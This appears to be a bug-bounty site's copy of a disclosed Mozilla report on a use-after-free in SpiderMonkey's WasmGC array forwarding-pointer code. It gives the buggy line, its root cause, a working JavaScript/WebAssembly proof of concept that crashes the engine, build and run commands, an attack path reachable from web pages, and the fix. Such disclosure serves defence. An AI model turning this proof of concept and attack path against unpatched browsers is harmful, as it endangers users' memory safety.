Skip to content
Memory corruption Disclosed report Advanced

Use-After-Free via Incorrect Forwarding Pointer in WasmArrayObject::obj_moved()

A bitwise operator typo in the wasm GC array move handler writes a zero forwarding word instead of a tagged pointer, so the moving GC fails to update a cached array data pointer on the wasm stack. A wasm function can then read or write through a stale pointer into freed nursery memory, giving a use-after-free reachable from web content.

Sajeeb Lohani Follow

Originally disclosed on Mozilla

  • Fixed in 9 days
  • Paid in 11 days
  • Disclosed after 9 days

Summary

A bitwise operator error in WasmArrayObject::obj_moved() destroys the forwarding pointer for out-of-line (OOL) array data blocks during nursery garbage collection. Line 376 of WasmGcObject.cpp writes uintptr_t(oolHeaderNew) & 1 instead of uintptr_t(oolHeaderNew) | 1, which always produces zero for aligned pointers. This causes Instance::updateFrameForMovingGC() to misclassify OOL data as inline, leaving a stale data pointer on the wasm stack. Subsequent array element accesses through the stale pointer read from freed nursery memory, producing a use-after-free condition. The bug is reachable from web content via WasmGC, which shipped enabled-by-default in Firefox 120. The vulnerable code was introduced in commit fcc2f20e35ec (2026-01-19) and is present in Firefox 149.0a1 (current Nightly).

Details

Field Value
Component js/src/wasm/WasmGcObject.cpp
Function WasmArrayObject::obj_moved()
Vulnerable Line 376
Consumer Instance::updateFrameForMovingGC() (WasmInstance.cpp:3289)
CWE CWE-416 (Use After Free), CWE-682 (Incorrect Calculation)
Introduced Bug 1992888, commit fcc2f20e35ec (2026-01-19)
Affected Firefox 149.0a1 (mozilla-central / Nightly), all platforms

Analysis

Vulnerable Code (WasmGcObject.cpp:362-378)

C++
if (oolHeaderNew != oolHeaderOld) {
    // The OOL block has been moved.  Fix up the data pointer in the new
    // object.
    arrayNew.data_ = oolDataHeaderToDataPointer(oolHeaderNew);
    // Set up forwarding for the OOL block.  Use direct forwarding.  Write the
    // address of the new OOL block to OOLDataHeader::word in the old OOL
    // block.  This will be later used by Instance::updateFrameForMovingGC.
    //
    // Note, > rather than >=, because the OOL block must be big enough to hold
    // the data header plus at least one byte of array data.
    MOZ_RELEASE_ASSERT(oolBlockSize > sizeof(OOLDataHeader));
    if (nursery.isInside(oolHeaderOld)) {
      // Store the forwarding word, with bit 0 set.
      oolHeaderOld->word = uintptr_t(oolHeaderNew) & 1;    // <-- BUG
      oolHeaderNew->word = WasmArrayObject::OOLDataHeader_Magic;
    }
}

Consumer Code (WasmInstance.cpp:3281-3324)

C++
case StackMap::Kind::ArrayDataPointer: {
    uint8_t* oldDataPointer = (uint8_t*)stackWords[i];
    if (WasmArrayObject::isDataInline(oldDataPointer)) {   // <-- takes this path
      // Inline path: computes bogus WasmArrayObject pointer
      WasmArrayObject* oldArray =
          WasmArrayObject::fromInlineDataPointer(oldDataPointer);
      WasmArrayObject* newArray =
          (WasmArrayObject*)gc::MaybeForwarded(oldArray);
      if (newArray != oldArray) {
        stackWords[i] =
            uintptr_t(WasmArrayObject::addressOfInlineArrayData(newArray));
      }
      // RESULT: stack pointer NOT updated (oldArray == newArray after
      //         MaybeForwarded on a bogus pointer)
    } else {
      // OOL path: would correctly follow forwarding pointer
      // ...
      MOZ_ASSERT(oldHeader->word & 1);  // would assert-fail if reached
      // ...
    }
    break;
}

Root Cause

The isDataInline() function (WasmGcObject.h:478-486) reads the OOLDataHeader::word field preceding the data pointer and checks (headerWord & 1) == 0. For inline arrays, this word is part of the object and has bit 0 clear. For OOL arrays, this word is OOLDataHeader_Magic (0x351), which has bit 0 set.

During nursery GC, obj_moved is supposed to overwrite the old OOL header word with the forwarding pointer to the new location, with bit 0 set (| 1). The & 1 typo produces zero for any aligned pointer, which is indistinguishable from an inline data header.

When updateFrameForMovingGC later processes stack-cached ArrayDataPointer entries, it calls isDataInline(oldDataPointer). The zeroed forwarding word causes (0 & 1) == 0 == true, taking the inline path. The inline path computes a bogus WasmArrayObject* via fromInlineDataPointer, which points into the middle of the freed OOL block. MaybeForwarded on this bogus pointer returns the same pointer (it's not a valid forwarded object), so the condition newArray != oldArray is false and the stack slot is not updated.

The wasm function then resumes execution with the stale data pointer, which points into freed nursery memory.

Ion Alias Analysis Dependency

Ion's wasmCallAliasSet() (MIR-wasm.h:1951-1957) explicitly excludes WasmArrayDataPointer from the set of memory locations clobbered by wasm calls:

C++
static AliasSet wasmCallAliasSet() {
    // This is ok because:
    // - numElements is immutable
    // - the GC will rewrite any array data pointers on move
    AliasSet exclude = AliasSet(AliasSet::WasmArrayNumElements) |
                       AliasSet(AliasSet::WasmArrayDataPointer);
    return AliasSet::Store(AliasSet::Any) & ~exclude;
}

This allows Ion's GVN pass to keep data pointer values alive across calls that may trigger GC. The comment "the GC will rewrite any array data pointers on move" documents the contract that this bug violates.

Proof of Concept

Test Environment

  • OS: Ubuntu (Linux 6.14.0-1018-aws)
  • Compiler: Mozilla clang (from mozbuild toolchain)
  • Target: mozilla-central commit 031c614e006f (2026-01-30)
  • Architecture: x86_64
  • JS Shell: SpiderMonkey 149.0a1, debug+optimize build

PoC Code

JavaScript
// poc_wasm_fwd_web.js
// Demonstrates UAF via WasmGcObject OOL forwarding pointer bug.
// Uses only web-compatible APIs (no minorgc/gczeal/gcparam).
"use strict";

// GC trigger: pure JS allocation pressure fills nursery
function triggerGCviaAlloc() {
  let junk = [];
  for (let i = 0; i < 50000; i++) {
    junk.push({a: i, b: i + 1, c: [i, i + 1, i + 2]});
  }
  return junk.length;
}

const wat = `
(module
  (type $i32arr (array (mut i32)))
  (import "env" "triggerGC" (func $triggerGC (result i32)))

  ;; 32 i32 elements = 128 bytes data > 112 (MaxInlineBytes) => OOL
  ;; OOL block = 136 bytes <= 256 (MaxNurseryTrailerSize) => nursery-direct
  (func (export "test") (result i32)
    (local $arr (ref $i32arr))
    (local.set $arr (array.new $i32arr (i32.const 0) (i32.const 32)))
    (array.set $i32arr (local.get $arr) (i32.const 0) (i32.const 0xCAFEBABE))
    (array.set $i32arr (local.get $arr) (i32.const 1) (i32.const 0xDEADBEEF))
    (array.set $i32arr (local.get $arr) (i32.const 15) (i32.const 0xBAADF00D))
    (array.set $i32arr (local.get $arr) (i32.const 31) (i32.const 0x1337C0DE))
    ;; GC safepoint: Ion keeps data pointer live across this call
    (drop (call $triggerGC))
    ;; Reads via (potentially stale) data pointer
    (i32.add
      (i32.add
        (array.get $i32arr (local.get $arr) (i32.const 0))
        (array.get $i32arr (local.get $arr) (i32.const 1)))
      (i32.add
        (array.get $i32arr (local.get $arr) (i32.const 15))
        (array.get $i32arr (local.get $arr) (i32.const 31))))
  )
)`;

const binary = wasmTextToBinary(wat);
const mod = new WebAssembly.Module(binary);
const inst = new WebAssembly.Instance(mod, {
  env: { triggerGC: triggerGCviaAlloc }
});

const expected = (0xCAFEBABE + 0xDEADBEEF + 0xBAADF00D + 0x1337C0DE) | 0;

// Phase 1: lightweight warmup for Ion tier-up
let doGC = false;
print("Phase 1: warmup (100000 calls for Ion tier-up)...");
for (let i = 0; i < 100000; i++) {
  inst.exports.test();
}
print("Phase 2: GC pressure after Ion tier-up...");
for (let i = 0; i < 200; i++) {
  try {
    let r = inst.exports.test();
    if (r !== expected) {
      print("CORRUPTION at iter " + i + ": 0x" + (r >>> 0).toString(16));
      break;
    }
  } catch(e) {
    print("CRASH at iter " + i + ": " + e);
    break;
  }
}
print("Done.");

Build and Run

Bash
# Build debug+optimize JS shell (assertions + Ion GVN active)
mkdir -p obj-jsshell && cd obj-jsshell
/path/to/firefox/js/src/configure --enable-debug --enable-optimize
make -j$(nproc)

# Run PoC -- crashes with SIGSEGV
./dist/bin/js poc_wasm_fwd_web.js

# Alternatively, force Ion compilation for faster reproduction:
./dist/bin/js --wasm-compiler=optimizing --test-wasm-await-tier2 poc_wasm_fwd_web.js

Output

With --wasm-compiler=optimizing (immediate crash):

Phase 1: warmup (100000 calls for Ion tier-up)...
Phase 2: GC pressure after Ion tier-up...
Segmentation fault (core dumped)

Exit code: 139 (SIGSEGV)

With default flags (natural tier-up):

Phase 1: warmup (100000 calls for Ion tier-up)...
Warmup done. Ion should have compiled by now.
Phase 2: GC pressure (200 iterations)...
Segmentation fault (core dumped)

Exit code: 139 (SIGSEGV)

Crash Configurations Validated

Compiler Flags GC Trigger Result
--wasm-compiler=optimizing minorgc() (shell) SIGSEGV (139)
--wasm-compiler=optimizing --test-wasm-await-tier2 JS alloc pressure SIGSEGV (139)
Default (baseline + Ion) minorgc() (shell) SIGSEGV (139)
Default (baseline + Ion) JS alloc pressure only SIGSEGV (139)

Trigger Conditions

  1. WasmGC array with 29-62 i32 elements (OOL storage, nursery-direct allocation)
  2. Ion compilation of the wasm function (natural tier-up or forced)
  3. Array element access before and after a call to an imported JS function
  4. Nursery GC during the imported call that relocates the OOL data block

Exploitation

Attack Path

  1. Attacker serves a web page containing a wasm module with a GC array type and an imported JS function.
  2. Wasm function creates a 32-element i32 array. The 128-byte data block exceeds WasmArrayObject_MaxInlineBytes (112), forcing OOL allocation. The 136-byte OOL block is below MaxNurseryTrailerSize (256), so it is allocated directly in the nursery (not via BufferAllocator).
  3. Wasm writes canary values to the array. Ion loads the data pointer once and caches it for subsequent accesses (GVN optimization, enabled by wasmCallAliasSet() excluding WasmArrayDataPointer).
  4. Wasm calls the imported JS function. The cached data pointer survives the call on the stack/in a register.
  5. JS function allocates objects to fill the nursery, triggering a minor (nursery) GC.
  6. GC promotes the WasmArrayObject and relocates its OOL data block from nursery to tenured heap. obj_moved writes oolHeaderOld->word = ptr & 1 = 0.
  7. updateFrameForMovingGC processes the stack. It encounters the ArrayDataPointer stack map entry. isDataInline(oldDataPointer) reads the forwarding word (0), returns true. The inline path computes a bogus object pointer, MaybeForwarded returns the same pointer, and the stack slot is NOT updated.
  8. Wasm resumes with the stale pointer into freed nursery memory. Array reads produce attacker-influenced data (from objects allocated after the GC).

UAF Primitive

The stale pointer reads from nursery memory that has been freed and may be reallocated. The attacker controls what objects occupy the freed region by allocating JS objects after the GC. This provides:

  • Read primitive: Array element reads via the stale pointer return data from attacker-controlled JS objects in the recycled nursery space.
  • Potential write primitive: If the wasm function writes to the array after the GC (array.set), the write goes to freed/reused nursery memory, corrupting live JS objects.

Fix

C++
// Before (vulnerable) -- WasmGcObject.cpp:376:
oolHeaderOld->word = uintptr_t(oolHeaderNew) & 1;

// After (fixed):
oolHeaderOld->word = uintptr_t(oolHeaderNew) | 1;

The | 1 sets bit 0 of the forwarding pointer, which is the documented protocol for OOL data header words. isDataInline() checks (word & 1) == 0 to distinguish inline from OOL; the set bit 0 ensures the forwarding pointer is correctly classified as OOL by all consumers.

The WasmStructObject::obj_moved function (same file, line 497+) handles the analogous case for struct OOL data using nursery.setForwardingPointerWhileTenuring, which writes a BufferRelocationOverlay without manual bit manipulation. The array path was refactored in Bug 1992888 to use a custom forwarding protocol and introduced this typo.

The original report as published on Mozilla's Bugzilla, by Sajeeb Lohani. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a bitwise AND was used where OR was intended when tagging the forwarding pointer, so the tag bit was always cleared and the OOL data block was misclassified as inline.

Impact

A malicious web page could read or potentially write memory outside the wasm array, corrupting live JS objects, though the report only demonstrates a crash in a debug shell rather than a full exploit.

What the attacker needed

Victim loads attacker web page; browser with WasmGC enabled; wasm function compiled by Ion; nursery GC during imported call

The fix

The tag bit should be set with a bitwise OR instead of cleared with AND, matching the documented forwarding protocol; the report shows the corrected line but does not state that it was landed.

How it was found

  1. Build a debug JS shell from the affected source tree.
  2. Run the proof-of-concept script that warms up the wasm function so Ion compiles it.
  3. Let the wasm function create an out-of-line array, then call an imported JS function that allocates heavily to trigger a nursery GC.
  4. Observe the process crash with a segmentation fault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When the browser's garbage collector moves objects to a new memory area, it leaves a note at the old location saying where the object went, so other code can follow it. Here a small coding mistake made that note look like 'this data was never moved', so a pointer kept by running wasm code was never corrected. That pointer then points at memory the browser has already freed and may hand to other objects, so reading through it can return someone else's data.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Sajeeb Lohani

View all

26 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.